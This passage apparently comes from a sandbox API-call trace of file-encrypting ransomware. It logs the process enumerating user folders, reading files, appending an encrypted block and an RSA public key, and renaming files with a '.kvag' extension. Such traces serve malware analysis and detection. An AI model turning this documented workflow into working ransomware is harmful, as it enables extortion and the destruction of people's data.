KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.190] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.191] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.191] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.191] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.191] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.191] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.191] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.191] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.191] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.191] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.191] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.192] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.192] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.192] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.192] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.192] CloseHandle (hObject=0x61c) returned 1 [0120.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_pUGM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_pugm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_pUGM.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_pugm.png.kvag")) returned 1 [0120.196] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0 [0120.196] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.196] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.197] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0120.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.197] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.197] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.197] PathFindFileNameW (pszPath="") returned="" [0120.197] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0xffffffff [0120.197] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.197] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.197] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0120.198] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.198] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.198] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.198] PathFindFileNameW (pszPath="") returned="" [0120.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cd97c0, ftCreationTime.dwHighDateTime=0x1d4d4ab, ftLastAccessTime.dwLowDateTime=0xb5da7660, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xb5da7660, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x15493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pUGM.png", cAlternateFileName="")) returned 0xffffffff [0120.198] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.198] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.198] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0120.198] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.198] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.198] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.198] PathFindFileNameW (pszPath="") returned="" [0120.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.198] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.198] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.198] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0120.199] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0120.199] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.199] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.199] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.199] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0120.199] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.199] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.199] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.199] PathFindFileNameW (pszPath="") returned="" [0120.199] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.199] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.199] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0120.199] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0120.199] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0120.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.200] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0120.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0120.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.200] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0120.200] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.200] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.200] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0120.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.200] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.200] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.200] PathFindFileNameW (pszPath="") returned="" [0120.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.200] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.201] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.201] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0120.201] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.201] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.201] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.201] PathFindFileNameW (pszPath="") returned="" [0120.201] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.201] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.201] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.201] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0120.201] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.201] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.201] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.201] PathFindFileNameW (pszPath="") returned="" [0120.201] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.201] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.201] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0120.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.202] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.202] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.202] PathFindFileNameW (pszPath="") returned="" [0120.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77398870, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77398870, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.202] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x77398870, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x77398870, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.202] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b41b320, ftCreationTime.dwHighDateTime=0x1d4ce8f, ftLastAccessTime.dwLowDateTime=0x57b919d0, ftLastAccessTime.dwHighDateTime=0x1d4ccc1, ftLastWriteTime.dwLowDateTime=0x57b919d0, ftLastWriteTime.dwHighDateTime=0x1d4ccc1, nFileSizeHigh=0x0, nFileSizeLow=0x13f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4 Bc.flv", cAlternateFileName="4BC~1.FLV")) returned 1 [0120.202] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4 Bc.flv") returned=".flv" [0120.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4 Bc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4 bc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.202] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=5110) returned 1 [0120.202] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.204] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.204] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.206] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x13f6, lpOverlapped=0x0) returned 1 [0120.206] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.206] lstrlenA (lpString="-----BEGIN PUBLIC 